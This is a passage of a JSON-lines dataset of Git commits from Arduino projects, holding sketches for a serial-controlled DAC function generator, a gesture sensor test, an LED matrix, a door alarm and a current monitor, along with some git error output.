error.\n return;\n }\n \n if (g_next_channel >= NUM_CHANNELS) {\n g_next_channel = 0;\n\n if (g_sending_adhoc_sample) {\n g_sending_adhoc_sample = false;\n }\n else {\n g_sample_index++;\n if (g_sample_index >= g_waveform_length) {\n g_sample_index = 0;\n }\n }\n\n return;\n }\n\n send_channel_sample();\n}\n\n\n\/\/\n\/\/ Non-ISR routines for SPI transmission\n\/\/\n\n\/\/ Start sending a single, ad hoc sample.\nvoid send_adhoc_sample(uint16_t *channel_samples) {\n for (size_t i = 0; i < NUM_CHANNELS; i++) {\n g_adhoc_sample[i] = channel_samples[i];\n }\n g_sending_adhoc_sample = true;\n\n g_next_channel = 0;\n send_channel_sample();\n}\n\n\n\/\/ Cannot be called from ISRs (obviously)\nvoid wait_for_spi_dac() {\n while (g_next_channel != 0) {\n \/\/ Wait until we finish sending the last channel's sample\n }\n}\n\n\n\/\/\n\/\/ Serial command handling\n\/\/\n\nvoid respond(const char *str, uint32_t num) {\n Serial.print(str);\n Serial.print(num);\n Serial.write('\\n');\n}\n\n\nvoid respond(const char *str) {\n Serial.print(str);\n Serial.write('\\n');\n}\n\n\ninline void respond_error(uint32_t code) {\n respond(\"ER\", code);\n}\n\n\ninline void respond_data_request(size_t bytes) {\n respond(\"EX\", bytes);\n}\n\n\ninline void respond_ok(uint32_t response) {\n respond(\"OK\", response);\n}\n\n\ninline void respond_ok() {\n respond(\"OK\");\n}\n\n\nint parse_uint(const char *buffer, size_t *p, uint32_t *result) {\n *result = 0;\n if (!isdigit(buffer[*p])) {\n return ERR_EXPECTED_UINT;\n }\n\n do {\n if (*result >= UINT32_MAX \/ 10) {\n return ERR_OVERFLOW;\n }\n *result *= 10;\n *result += buffer[(*p)++] - '0';\n } while (isdigit(buffer[*p]));\n return ERR_OK;\n}\n\n\nint parse_uint_params(const char *buffer, uint32_t *params, size_t num_params) {\n size_t p = 0;\n for (int i = 0; i < num_params; i++) {\n if (int err = parse_uint(buffer, &p, ¶ms[i])) {\n return err;\n }\n\n if (i == num_params - 1) {\n break;\n }\n\n if (buffer[p++] != ',') {\n return ERR_TOO_FEW_PARAMS;\n }\n }\n\n if (buffer[p] != '\\0') {\n return ERR_BAD_PARAMS;\n }\n return ERR_OK;\n}\n\n\n\/\/ Command handlers in alphabetical order\n\n\nvoid handle_AW(const char *param_str) {\n uint32_t params[3];\n if (int err = parse_uint_params(param_str, params, 3)) {\n respond_error(err);\n return;\n }\n\n if (params[0] >= g_n_tables) {\n respond_error(ERR_INVALID_TABLE);\n return;\n }\n\n if (params[1] >= g_n_banks) {\n respond_error(ERR_INVALID_BANK);\n return;\n }\n\n if (params[2] >= NUM_CHANNELS) {\n respond_error(ERR_INVALID_CHANNEL);\n return;\n }\n\n if (g_tc_sampler_active) {\n respond_error(ERR_BUSY);\n return;\n }\n\n g_banks[params[1]].channel_waveform[params[2]] = waveform_table(params[0]);\n respond_ok();\n}\n\n\nvoid handle_DM(const char *param_str) {\n uint32_t params[3];\n if (int err = parse_uint_params(param_str, params, 3)) {\n respond_error(err);\n return;\n }\n\n size_t waveform_length = params[0];\n if (params[1] > UINT8_MAX) {\n respond_error(ERR_OVERFLOW);\n return;\n }\n uint8_t n_banks = params[1];\n if (params[2] > UINT8_MAX) {\n respond_error(ERR_OVERFLOW);\n return;\n }\n uint8_t n_tables = params[2];\n\n if (g_tc_sampler_active) {\n respond_error(ERR_BUSY);\n return;\n }\n\n if (reset_waveform_data(waveform_length, n_banks, n_tables)) {\n respond_ok();\n }\n else {\n respond_error(ERR_BAD_ALLOC);\n }\n}\n\n\nvoid handle_FQ(const char *param_str) {\n uint32_t params[1];\n if (int err = parse_uint_params(param_str, params, 1)) {\n respond_error(err);\n return;\n }\n\n if (params[0] < MIN_SAMPLE_FREQ || params[0] > MAX_SAMPLE_FREQ) {\n respond_error(ERR_FREQ_OUT_OF_RANGE);\n return;\n }\n\n set_tc_sampler_freq(params[0]);\n respond_ok();\n}\n\n\nvoid handle_HL(const char *param_str) {\n if (param_str[0] != '\\0') {\n respond_error(ERR_BAD_CMD);\n return;\n }\n\n stop_tc_sampler();\n wait_for_spi_dac();\n respond_ok();\n}\n\n\nvoid handle_ID(const char *param_str) {\n if (param_str[0] != '\\0') {\n respond_error(ERR_BAD_CMD);\n }\n respond_ok(SERIAL_MAGIC_ID);\n}\n\n\nvoid handle_LW(const char *param_str) {\n uint32_t params[1];\n if (int err = parse_uint_params(param_str, params, 1)) {\n respond_error(err);\n return;\n }\n\n if (params[0] >= g_n_tables) {\n respond_error(ERR_INVALID_TABLE);\n return;\n }\n\n if (g_tc_sampler_active) {\n respond_error(ERR_BUSY);\n return;\n }\n\n uint16_t *table = waveform_table(params[0]);\n size_t length = sizeof(uint16_t) * g_waveform_length;\n\n respond_data_request(length);\n size_t bytes = Serial.readBytes((char *)table, length);\n if (bytes < length) {\n respond_error(ERR_TIMEOUT);\n return;\n }\n respond_ok();\n}\n\n\nvoid handle_MV(const char *param_str) {\n uint32_t params[2];\n if (int err = parse_uint_params(param_str, params, 2)) {\n respond_error(err);\n return;\n }\n\n if (params[0] >= NUM_CHANNELS) {\n respond_error(ERR_INVALID_CHANNEL);\n return;\n }\n\n if (params[1] > UINT16_MAX) {\n respond_error(ERR_INVALID_SAMPLE_VALUE);\n return;\n }\n\n if (g_tc_sampler_active) {\n respond_error(ERR_BUSY);\n return;\n }\n\n uint16_t sample[NUM_CHANNELS];\n for (size_t i = 0; i < NUM_CHANNELS; i++) {\n sample[i] = get_last_sample(i);\n }\n sample[params[0]] = params[1];\n send_adhoc_sample(sample);\n wait_for_spi_dac();\n respond_ok();\n return;\n}\n\n\nvoid handle_PH(const char *param_str) {\n uint32_t params[2];\n if (int err = parse_uint_params(param_str, params, 2)) {\n respond_error(err);\n return;\n }\n\n if (params[0] >= NUM_CHANNELS) {\n respond_error(ERR_INVALID_CHANNEL);\n return;\n }\n\n if (params[1] >= g_waveform_length) {\n respond_error(ERR_INVALID_PHASE_OFFSET);\n return;\n }\n\n if (g_tc_sampler_active) {\n respond_error(ERR_BUSY);\n return;\n }\n\n g_channel_offset[params[0]] = params[1];\n respond_ok();\n}\n\n\nvoid handle_RN(const char *param_str) {\n if (param_str[0] != '\\0') {\n respond_error(ERR_BAD_CMD);\n return;\n }\n\n if (g_n_banks == 0 || g_n_tables == 0) {\n respond_error(ERR_NO_WAVEFORM);\n return;\n }\n\n start_tc_sampler();\n respond_ok();\n}\n\n\nvoid handle_SB(const char *param_str) {\n uint32_t params[1];\n if (int err = parse_uint_params(param_str, params, 1)) {\n respond_error(err);\n return;\n }\n\n if (params[0] >= g_n_banks) {\n respond_error(ERR_INVALID_BANK);\n return;\n }\n\n struct WaveformBank *bank = &g_banks[params[0]];\n set_bank(bank);\n respond_ok();\n}\n\n\nvoid handle_WH(const char *param_str) {\n uint32_t params[1];\n if (int err = parse_uint_params(param_str, params, 1)) {\n respond_error(err);\n return;\n }\n\n if (params[0] >= NUM_CHANNELS) {\n respond_error(ERR_INVALID_CHANNEL);\n return;\n }\n\n if (g_tc_sampler_active) {\n respond_error(ERR_BUSY);\n return;\n }\n\n respond_ok(get_last_sample(params[0]));\n}\n\n\nvoid dispatch_cmd(char first, char second, const char *param_str) {\n if (first == 'A') {\n if (second == 'W') { handle_AW(param_str); return; }\n }\n else if (first == 'D') {\n if (second == 'M') { handle_DM(param_str); return; }\n }\n else if (first == 'F') {\n if (second == 'Q') { handle_FQ(param_str); return; }\n }\n else if (first == 'H') {\n if (second == 'L') { handle_HL(param_str); return; }\n }\n else if (first == 'I') {\n if (second == 'D') { handle_ID(param_str); return; }\n }\n else if (first == 'L') {\n if (second == 'W') { handle_LW(param_str); return; }\n }\n else if (first == 'M') {\n if (second == 'V') { handle_MV(param_str); return; }\n }\n else if (first == 'P') {\n if (second == 'H') { handle_PH(param_str); return; }\n }\n else if (first == 'R') {\n if (second == 'N') { handle_RN(param_str); return; }\n }\n else if (first == 'S') {\n if (second == 'B') { handle_SB(param_str); return; }\n }\n else if (first == 'W') {\n if (second == 'H') { handle_WH(param_str); return; }\n }\n respond_error(ERR_BAD_CMD);\n}\n\n\nvoid handle_cmd() {\n char cmd_buffer[MAX_CMD_LEN];\n size_t cmd_len = Serial.readBytesUntil('\\n', cmd_buffer, MAX_CMD_LEN);\n\n if (cmd_len == 0) {\n \/\/ Empty command - ignore\n return;\n }\n\n if (cmd_len == MAX_CMD_LEN) {\n while (Serial.readBytesUntil('\\n', cmd_buffer, MAX_CMD_LEN) > 0) {\n \/\/ Discard the rest of the command\n }\n respond_error(ERR_CMD_TOO_LONG);\n return;\n }\n\n if (cmd_len < 2) {\n respond_error(ERR_BAD_CMD);\n return;\n }\n \n \/\/ Append a null terminator to the command string\n cmd_buffer[cmd_len] = '\\0';\n\n dispatch_cmd(cmd_buffer[0], cmd_buffer[1], cmd_buffer + 2);\n}\n\n\n\/\/\n\/\/ Arduino main program\n\/\/\n\nvoid setup() {\n Serial.begin(115200);\n Serial.setTimeout(3000);\n\n setup_spi_dac();\n setup_tc_sampler();\n\n \/\/ Set DAC values to default (midpoint) and bring g_last_sample into sync\n uint16_t sample[NUM_CHANNELS];\n for (size_t i = 0; i < NUM_CHANNELS; i++) {\n sample[i] = UINT16_MAX \/ 2;\n }\n send_adhoc_sample(sample);\n wait_for_spi_dac();\n}\n\nvoid loop() {\n \/\/ Kind of silly to have to poll, but otherwise we'd need to forgo the\n \/\/ Arduino serial library and things will get much more complicated.\n if (Serial.available()) {\n handle_cmd();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sandbox\/arduino_due_function_generator\/ad660_func_gen.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f3abd8218cf7d888418b1dd00c6a465d6313b2f6","subject":"arduino-apds-9960.ino: Test APDS-9960","message":"arduino-apds-9960.ino: Test APDS-9960\n\nSimple Arduino sketch for testing detection of gestures with\nAPDS-9960 I2C sensor module. The detected gesture is printed\nin the serial command-line and on mini OLED I2C display.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"sensors\/APDS-9960\/arduino-apds-9960\/arduino-apds-9960.ino","new_file":"sensors\/APDS-9960\/arduino-apds-9960\/arduino-apds-9960.ino","new_contents":"#include <FS.h> \/\/this needs to be first, or it all crashes and burns...\n\n#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/ For OLED display\n#include <U8g2lib.h>\n\/\/ For I2C\n#include <Wire.h>\n\/\/ For gesture sensor\n#include \"Adafruit_APDS9960.h\"\n\nU8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE);\n\nAdafruit_APDS9960 apds;\n\nconst int pinButton = 0;\nconst int i2cDisplayAddress = 0x3c;\n\nbool gestureSensorDetected = false;\n\nvoid drawDisplay(const char *line1, const char *line2 = \"\", const char *line3 = \"\")\n{\n \/\/ Write on OLED display\n \/\/ Clear the internal memory\n u8g2.clearBuffer();\n \/\/ Set appropriate font\n u8g2.setFont(u8g2_font_ncenR14_tr);\n u8g2.drawStr(0,14, line1);\n u8g2.drawStr(0,39, line2);\n u8g2.drawStr(0,64, line3);\n \/\/ Transfer internal memory to the display\n u8g2.sendBuffer();\n}\n\nbool isSensorAvailable(int sensorAddress)\n{\n \/\/ Check if I2C sensor is present\n Wire.beginTransmission(sensorAddress);\n return 0 == Wire.endTransmission();\n}\n\nvoid checkDisplay()\n{\n Serial.print(\"Mini I2C OLED Display at address \");\n Serial.print(i2cDisplayAddress, HEX);\n if (isSensorAvailable(i2cDisplayAddress))\n {\n Serial.println(\": OK\");\n }\n else\n {\n Serial.println(\": N\/A\");\n }\n}\n\nvoid setup()\n{\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n Serial.println();\n\n Wire.begin();\n checkDisplay();\n\n u8g2.begin();\n\n delay(10);\n\n \/\/Button\n pinMode(pinButton, INPUT);\n\n Serial.println(\"Testing APDS-9960...\");\n drawDisplay(\"APDS-9960\", \"Test\", \"Application\");\n\n if(!apds.begin())\n {\n Serial.println(\"ERROR: Failed to initialize gesture sensor! Please check your wiring.\");\n }\n else {\n Serial.println(\"Gesture sensor initialized.\");\n gestureSensorDetected = true;\n \/\/gesture mode will be entered once proximity mode senses something close\n apds.enableProximity(true);\n apds.enableGesture(true);\n }\n}\n\nvoid detectGesture()\n{\n \/\/read a gesture from the device\n uint8_t gesture = apds.readGesture();\n if(APDS9960_LEFT == gesture)\n {\n Serial.println(\"Left\");\n drawDisplay(\"APDS-9960\", \"Left\", \"\");\n }\n else if(APDS9960_RIGHT == gesture)\n {\n Serial.println(\"Right\");\n drawDisplay(\"APDS-9960\", \"Right\", \"\");\n }\n else if (APDS9960_DOWN == gesture)\n {\n Serial.println(\"Down\");\n drawDisplay(\"APDS-9960\", \"Down\", \"\");\n }\n else if (APDS9960_UP == gesture)\n {\n Serial.println(\"Up\");\n drawDisplay(\"APDS-9960\", \"Up\", \"\");\n }\n}\n\nvoid loop()\n{\n if (false == digitalRead(pinButton))\n {\n Serial.println(\"Rebooting...\");\n \/\/ Restart the board\n ESP.restart(); \n }\n\n if (true == gestureSensorDetected)\n {\n detectGesture();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensors\/APDS-9960\/arduino-apds-9960\/arduino-apds-9960.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3bd36e6c83556cebbf429343b140f7cdfdb2973c","subject":"Fixed some minor issues and changed the pin number for the teensy","message":"Fixed some minor issues and changed the pin number for the teensy\n","repos":"Annath\/bamboo-monitor","old_file":"neopixel_indicator\/neopixel_indicator.ino","new_file":"neopixel_indicator\/neopixel_indicator.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Annath\/bamboo-monitor.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7a133c2dd809b3279d67f3370104a636dc1faba2","subject":"Added example 'MultiShift.ino'","message":"Added example 'MultiShift.ino'\n","repos":"valmat\/LedMatrix","old_file":"examples\/MultiShift\/MultiShift.ino","new_file":"examples\/MultiShift\/MultiShift.ino","new_contents":"#include \"MatrixCascade.h\"\n\n\/\/ pin 12 is connected to the DataIn \n\/\/ pin 11 is connected to the CLK \n\/\/ pin 10 is connected to LOAD \nconst uint8_t CascadeSize = 3;\nMatrixCascade<CascadeSize> cascade(12, 11, 10);\n\nconst uint8_t picsCount = 3;\nconst uint8_t pics[3][8] = {\n \/\/{0b10000011, 0b10000111, 0b10001001, 0b11010010, 0b11110100, 0b11010010, 0b10001001, 0b10000111},\n \/\/{0b11111111, 0b10000001, 0b10111101, 0b10100101, 0b10100101, 0b10111101, 0b10000001, 0b11111111},\n \/\/{0b10011001, 0b01011010, 0b00111100, 0b11111111, 0b11111111, 0b00111100, 0b01011010, 0b10011001},\n {B00000000, B00000000, B10001000, B11011001, B10101010, B10001011, B10001010, B00000000},\n {B00000000, B00000000, B00000000, B00010010, B10111011, B10010010, B10011010, B00000000},\n {B00000000, B00100000, B00000000, B10101001, B00100010, B00100100, B00101001, B00000000},\n};\n\n\nvoid setup() \n{\n cascade.setIntensity(0);\n\n \/\/ Rotate some matrixes\n cascade[1].setRotation(2);\n cascade[2].setRotation(2);\n\n for (auto &matrix: cascade)\n {\n matrix.set(pics[matrix.index()]);\n }\n}\n\nconst uint8_t matrixSize = 8;\n\nvoid loop()\n{\n \/\/\n \/\/ Shifting UP\n \/\/\n\n \/\/iterate over colomns\n for (uint8_t i = 0; i < matrixSize; ++i)\n {\n \/\/ get last colomn in cascade\n auto LastCol = cascade[CascadeSize - 1].getCol(matrixSize - 1);\n\n for (auto &matrix: cascade)\n {\n LastCol = matrix.shiftRight(LastCol);\n \/\/delay(5);\n }\n \/\/delay(100);\n }\n \/\/delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MultiShift\/MultiShift.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"61ad51d1b10a64f7b8e294a306ccf3c3ee6fed8f","subject":"renamed door sensor project","message":"renamed door sensor project\n","repos":"simonmonk\/zombies,simonmonk\/zombies","old_file":"Arduino\/Project_10_Door_Sensor\/Project_10_Door_Sensor.ino","new_file":"Arduino\/Project_10_Door_Sensor\/Project_10_Door_Sensor.ino","new_contents":"\n\n#include <LiquidCrystal.h>\n\n\n\/\/ Pin allocations\nconst int buzzerPin = 11;\nconst int backlightPin = 10;\nconst int switchPin = A0;\nconst int doorPin = 12; \n\n\/\/ RS,E,D4,D5,D6,D7 \nLiquidCrystal lcd(8, 9, 4, 5, 6, 7);\n\nboolean mute = false;\n\nvoid setup() \n{\n \/\/ This because of a defect in common cheap LCD displays\n \/\/ backlight controlled by transistor D10 high can\n \/\/ burn out Arduino pin\n pinMode(backlightPin, INPUT);\n pinMode(doorPin, INPUT_PULLUP);\n lcd.begin(16, 2);\n}\n\nvoid loop() \n{\n checkDoor(); \n \n if (analogRead(switchPin) < 1000) \/\/ any key pressed\n {\n mute = ! mute;\n if (mute) \n {\n noTone(buzzerPin);\n lcd.setCursor(12, 1);\n lcd.print(\"MUTE\");\n }\n else\n {\n lcd.setCursor(12, 1);\n lcd.print(\" \");\n }\n delay(300);\n }\n delay(100);\n}\n\nvoid warn(char message[])\n{\n lcd.setCursor(0, 1);\n lcd.print(message);\n delay(100);\n lcd.setCursor(0, 1);\n lcd.print(\" \");\n if (!mute)\n {\n tone(buzzerPin, 1000);\n delay(100);\n noTone(buzzerPin);\n }\n delay(100);\n}\n\nvoid checkDoor()\n{\n if (digitalRead(doorPin))\n {\n warn(\"DOOR\");\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Project_10_Door_Sensor\/Project_10_Door_Sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5e0c0470208367e2889e3a0ee0adab26dd7582a3","subject":"Bumping version to 1.1.2a -- 3hr. shutoff to be tested.","message":"Bumping version to 1.1.2a -- 3hr. shutoff to be tested.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"210f2fbd9467c58fdd710fdfd2b7a8f38dfaa2ef","subject":"delay in calcIrms","message":"delay in calcIrms\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_06-power_meter\/delay_in_calcIrms\/_01.emon\/_01.emon.ino","new_file":"_06-power_meter\/delay_in_calcIrms\/_01.emon\/_01.emon.ino","new_contents":"#include \"EmonLib.h\" \/\/ Include Emon Library\nEnergyMonitor emon1; \/\/ Create an instance\n\nlong timemillis;\n\nvoid setup()\n{ \n Serial.begin(115200);\n timemillis = millis();\n emon1.current(A0, 111.1); \/\/ Current: input pin, calibration.\n}\n\nvoid loop()\n{\n long now = millis();\n double Irms = emon1.calcIrms(1480); \/\/ Calculate Irms only\n timemillis = millis();\n \n Serial.print(\"Irms -> : \");\n Serial.print(Irms);\n Serial.print(\" VIrms --> : \");\n Serial.print(Irms*230.0);\n Serial.print(\" now --> : \");\n Serial.print(now);\n Serial.print(\" timemillis ---> : \");\n Serial.print(timemillis);\n Serial.print(\" diff ---> : \");\n Serial.println(timemillis - now);\n \n delay (1000);\n}\n\n\/* result of esp8266 \n\nIrms -> : 0.27 VIrms --> : 62.81 now --> : 11103 timemillis ---> : 11175 diff ---> : 72\nIrms -> : 0.29 VIrms --> : 66.02 now --> : 12175 timemillis ---> : 12757 diff ---> : 582\nIrms -> : 0.28 VIrms --> : 65.10 now --> : 13758 timemillis ---> : 13830 diff ---> : 72\nIrms -> : 0.09 VIrms --> : 21.09 now --> : 14830 timemillis ---> : 14902 diff ---> : 72\nIrms -> : 0.07 VIrms --> : 16.45 now --> : 15903 timemillis ---> : 15975 diff ---> : 72\nIrms -> : 0.35 VIrms --> : 79.66 now --> : 16976 timemillis ---> : 17558 diff ---> : 582\nIrms -> : 0.28 VIrms --> : 63.73 now --> : 18558 timemillis ---> : 18630 diff ---> : 72\nIrms -> : 0.09 VIrms --> : 21.36 now --> : 19631 timemillis ---> : 19703 diff ---> : 72\nIrms -> : 0.34 VIrms --> : 78.18 now --> : 20704 timemillis ---> : 21286 diff ---> : 582\nIrms -> : 0.28 VIrms --> : 63.96 now --> : 22286 timemillis ---> : 22358 diff ---> : 72\nIrms -> : 0.10 VIrms --> : 22.11 now --> : 23359 timemillis ---> : 23431 diff ---> : 72\nIrms -> : 0.33 VIrms --> : 76.32 now --> : 24431 timemillis ---> : 25014 diff ---> : 583\nIrms -> : 0.28 VIrms --> : 63.40 now --> : 26014 timemillis ---> : 26086 diff ---> : 72\nIrms -> : 0.10 VIrms --> : 22.01 now --> : 27087 timemillis ---> : 27159 diff ---> : 72\nIrms -> : 0.07 VIrms --> : 15.57 now --> : 28159 timemillis ---> : 28231 diff ---> : 72\nIrms -> : 0.07 VIrms --> : 15.74 now --> : 29232 timemillis ---> : 29304 diff ---> : 72\nIrms -> : 0.07 VIrms --> : 15.60 now --> : 30304 timemillis ---> : 30377 diff ---> : 73\nIrms -> : 0.07 VIrms --> : 17.02 now --> : 31377 timemillis ---> : 31449 diff ---> : 72\nIrms -> : 0.08 VIrms --> : 18.15 now --> : 32450 timemillis ---> : 32522 diff ---> : 72\nIrms -> : 0.35 VIrms --> : 79.79 now --> : 33522 timemillis ---> : 34104 diff ---> : 582\nIrms -> : 0.27 VIrms --> : 63.05 now --> : 35105 timemillis ---> : 35177 diff ---> : 72\nIrms -> : 0.09 VIrms --> : 20.88 now --> : 36177 timemillis ---> : 36250 diff ---> : 73\nIrms -> : 0.07 VIrms --> : 16.13 now --> : 37250 timemillis ---> : 37322 diff ---> : 72\nIrms -> : 0.07 VIrms --> : 15.40 now --> : 38323 timemillis ---> : 38395 diff ---> : 72\nIrms -> : 0.06 VIrms --> : 13.79 now --> : 39395 timemillis ---> : 39467 diff ---> : 72\nIrms -> : 0.07 VIrms --> : 17.23 now --> : 40468 timemillis ---> : 40540 diff ---> : 72\nIrms -> : 0.07 VIrms --> : 16.46 now --> : 41540 timemillis ---> : 41613 diff ---> : 73\nIrms -> : 0.35 VIrms --> : 80.85 now --> : 42613 timemillis ---> : 43195 diff ---> : 582\nIrms -> : 0.27 VIrms --> : 62.38 now --> : 44196 timemillis ---> : 44268 diff ---> : 72\nIrms -> : 0.29 VIrms --> : 66.06 now --> : 45268 timemillis ---> : 45850 diff ---> : 582\nIrms -> : 0.29 VIrms --> : 65.87 now --> : 46851 timemillis ---> : 46923 diff ---> : 72\nIrms -> : 0.10 VIrms --> : 22.67 now --> : 47923 timemillis ---> : 47995 diff ---> : 72\nIrms -> : 0.34 VIrms --> : 78.04 now --> : 48996 timemillis ---> : 49578 diff ---> : 582\nIrms -> : 0.28 VIrms --> : 63.43 now --> : 50578 timemillis ---> : 50650 diff ---> : 72\nIrms -> : 0.09 VIrms --> : 19.98 now --> : 51651 timemillis ---> : 51723 diff ---> : 72\nIrms -> : 0.34 VIrms --> : 79.02 now --> : 52723 timemillis ---> : 53306 diff ---> : 583\nIrms -> : 0.28 VIrms --> : 63.37 now --> : 54306 timemillis ---> : 54378 diff ---> : 72\nIrms -> : 0.09 VIrms --> : 21.25 now --> : 55379 timemillis ---> : 55451 diff ---> : 72\nIrms -> : 0.34 VIrms --> : 77.38 now --> : 56451 timemillis ---> : 57033 diff ---> : 582\nIrms -> : 0.28 VIrms --> : 63.51 now --> : 58034 timemillis ---> : 58106 diff ---> : 72\nIrms -> : 0.09 VIrms --> : 21.61 now --> : 59106 timemillis ---> : 59179 diff ---> : 73\n\n*\/\n\n\n\/* result of Uno \nIrms -> : 0.03 VIrms --> : 7.96 now --> : 110383 timemillis ---> : 110657 diff ---> : 274\nIrms -> : 0.03 VIrms --> : 7.96 now --> : 111660 timemillis ---> : 111932 diff ---> : 272\nIrms -> : 0.03 VIrms --> : 6.59 now --> : 112934 timemillis ---> : 113209 diff ---> : 275\nIrms -> : 0.03 VIrms --> : 7.30 now --> : 114211 timemillis ---> : 114486 diff ---> : 275\nIrms -> : 0.03 VIrms --> : 7.96 now --> : 115488 timemillis ---> : 115763 diff ---> : 275\nIrms -> : 0.03 VIrms --> : 7.96 now --> : 116764 timemillis ---> : 117040 diff ---> : 276\nIrms -> : 0.03 VIrms --> : 7.30 now --> : 118042 timemillis ---> : 118317 diff ---> : 275\nIrms -> : 0.04 VIrms --> : 9.65 now --> : 119319 timemillis ---> : 119593 diff ---> : 274\nIrms -> : 0.02 VIrms --> : 3.69 now --> : 120596 timemillis ---> : 120865 diff ---> : 269\nIrms -> : 0.02 VIrms --> : 4.91 now --> : 121868 timemillis ---> : 122142 diff ---> : 274\nIrms -> : 0.02 VIrms --> : 4.86 now --> : 123145 timemillis ---> : 123420 diff ---> : 275\nIrms -> : 0.03 VIrms --> : 6.59 now --> : 124423 timemillis ---> : 124697 diff ---> : 274\nIrms -> : 0.04 VIrms --> : 8.59 now --> : 125700 timemillis ---> : 125975 diff ---> : 275\nIrms -> : 0.02 VIrms --> : 3.69 now --> : 126978 timemillis ---> : 127251 diff ---> : 273\nIrms -> : 0.03 VIrms --> : 7.96 now --> : 128252 timemillis ---> : 128528 diff ---> : 276\nIrms -> : 0.02 VIrms --> : 4.91 now --> : 129530 timemillis ---> : 129806 diff ---> : 276\nIrms -> : 0.03 VIrms --> : 7.34 now --> : 130808 timemillis ---> : 131084 diff ---> : 276\nIrms -> : 0.03 VIrms --> : 7.30 now --> : 132085 timemillis ---> : 132361 diff ---> : 276\nIrms -> : 0.03 VIrms --> : 7.99 now --> : 133363 timemillis ---> : 133639 diff ---> : 276\nIrms -> : 0.03 VIrms --> : 5.79 now --> : 134641 timemillis ---> : 134916 diff ---> : 275\nIrms -> : 0.02 VIrms --> : 4.86 now --> : 135918 timemillis ---> : 136194 diff ---> : 276\nIrms -> : 0.01 VIrms --> : 1.93 now --> : 137195 timemillis ---> : 137464 diff ---> : 269\nIrms -> : 0.03 VIrms --> : 5.79 now --> : 138467 timemillis ---> : 138736 diff ---> : 269\nIrms -> : 0.04 VIrms --> : 8.59 now --> : 139739 timemillis ---> : 140014 diff ---> : 275\nIrms -> : 0.02 VIrms --> : 3.69 now --> : 141017 timemillis ---> : 141291 diff ---> : 274\nIrms -> : 0.03 VIrms --> : 5.79 now --> : 142294 timemillis ---> : 142568 diff ---> : 274\nIrms -> : 0.03 VIrms --> : 6.63 now --> : 143570 timemillis ---> : 143846 diff ---> : 276\nIrms -> : 0.03 VIrms --> : 6.63 now --> : 144848 timemillis ---> : 145124 diff ---> : 276\nIrms -> : 0.02 VIrms --> : 4.86 now --> : 146125 timemillis ---> : 146395 diff ---> : 270\nIrms -> : 0.02 VIrms --> : 3.69 now --> : 147397 timemillis ---> : 147666 diff ---> : 269\nIrms -> : 0.02 VIrms --> : 3.69 now --> : 148669 timemillis ---> : 148938 diff ---> : 269\nIrms -> : 0.02 VIrms --> : 3.69 now --> : 149941 timemillis ---> : 150211 diff ---> : 270\nIrms -> : 0.03 VIrms --> : 6.63 now --> : 151214 timemillis ---> : 151489 diff ---> : 275\nIrms -> : 0.03 VIrms --> : 5.84 now --> : 152492 timemillis ---> : 152766 diff ---> : 274\nIrms -> : 0.03 VIrms --> : 5.79 now --> : 153768 timemillis ---> : 154044 diff ---> : 276\nIrms -> : 0.02 VIrms --> : 4.86 now --> : 155046 timemillis ---> : 155319 diff ---> : 273\nIrms -> : 0.02 VIrms --> : 4.89 now --> : 156321 timemillis ---> : 156597 diff ---> : 276\nIrms -> : 0.01 VIrms --> : 1.93 now --> : 157599 timemillis ---> : 157869 diff ---> : 270\nIrms -> : 0.03 VIrms --> : 7.35 now --> : 158871 timemillis ---> : 159145 diff ---> : 274\nIrms -> : 0.02 VIrms --> : 3.69 now --> : 160148 timemillis ---> : 160422 diff ---> : 274\nIrms -> : 0.01 VIrms --> : 1.93 now --> : 161425 timemillis ---> : 161694 diff ---> : 269\nIrms -> : 0.02 VIrms --> : 4.90 now --> : 162697 timemillis ---> : 162972 diff ---> : 275\nIrms -> : 0.03 VIrms --> : 7.35 now --> : 163974 timemillis ---> : 164248 diff ---> : 274\nIrms -> : 0.02 VIrms --> : 3.69 now --> : 165251 timemillis ---> : 165524 diff ---> : 273\nIrms -> : 0.02 VIrms --> : 3.72 now --> : 166526 timemillis ---> : 166802 diff ---> : 276\n\n*\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_06-power_meter\/delay_in_calcIrms\/_01.emon\/_01.emon.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d307bc9b5d0164a9036dd66b02ad4312a54d824a","subject":"","message":"\n\ngit-svn-id: svn:\/\/192.168.1.10\/public\/Zimodem@14515 